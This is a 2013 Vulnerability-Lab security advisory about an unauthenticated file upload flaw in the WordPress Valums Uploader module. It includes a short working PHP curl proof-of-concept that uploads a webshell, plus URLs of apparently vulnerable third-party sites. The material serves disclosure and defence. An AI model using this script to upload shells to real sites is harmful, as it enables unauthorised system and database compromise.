Wordpress Valums Uploader - File Upload Vulnerability

2013-01-04T00:00:00
ID VULNERLAB:817
Type vulnerlab
Reporter JingoBD - (http://facebook.com/bdcyberarmy) Greetz: ManInDark,Rex0Man,Evil AXE,Bedu33n,NEEL,AXIOM, All Of My BCA Friends and BANGLADESHI Hacker Team.
Modified 2013-01-04T00:00:00

Description

                                        
                                            Document Title:
===============
Wordpress Valums Uploader - File Upload Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=817


Release Date:
=============
2013-01-04


Vulnerability Laboratory ID (VL-ID):
====================================
817


Common Vulnerability Scoring System:
====================================
7.5


Abstract Advisory Information:
==============================
The independent laboratory researcher (jingo-bd) discovered a remote file upload vulnerability in the Wordpress `Valums Uploader` application.


Vulnerability Disclosure Timeline:
==================================
2013-01-04:	Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A file upload vulnerability is detected in the Wordpress `Valums Uploader` application module.
The vulnerability allows remote attackers to upload files like webshells and co. to unauthorized access them after 
the upload to compromise the application system.

The vulnerability is located in the valums uploader module when processing to request for uploads via POST.
Attackers can unauthorized upload own files to compromise the web application or system dbms.

Exploitation of the file upload vulnerability requires no user interaction and can be processed without privileged 
application user account. Successful exploitation of the remote file upload vulnerability results in system and dbms compromise.

Vulnerable Module(s):
			[+] Valums Uploader


Proof of Concept (PoC):
=======================
The remote vulnerability can be exploited by remote attackers without required user interaction and without privileged application user account.
For demonstration or reproduce ...

<?php

$uploadfile="bangla.php"; 
$ch =
curl_init("http://localhost/wordpress/VALUMS_UPLOADER_PATH/php.php");
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access: http://localhost/wp-content/uploads/2013/01/bangla.php


Reference(s): 
  		http://www.xxx.ca/wp/wp-content/themes/lightspeed/framework/_scripts/valums_uploader/php.php
		http://www.xxx.co.uk/wp-content/themes/eptonic/functions/jwpanel/scripts/valums_uploader/php.php
		http://www3.xxx.com/v2/wp-content/themes/nuance/functions/jwpanel/scripts/valums_uploader/php.phps


Security Risk:
==============
The security risk of the unauthorized shell upload exploit is estimated as high(+).


Credits & Authors:
==================
JingoBD - (http://facebook.com/bdcyberarmy)
Greetz: ManInDark,Rex0Man,Evil AXE,Bedu33n,NEEL,AXIOM, All Of My BCA Friends and BANGLADESHI Hacker Team.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory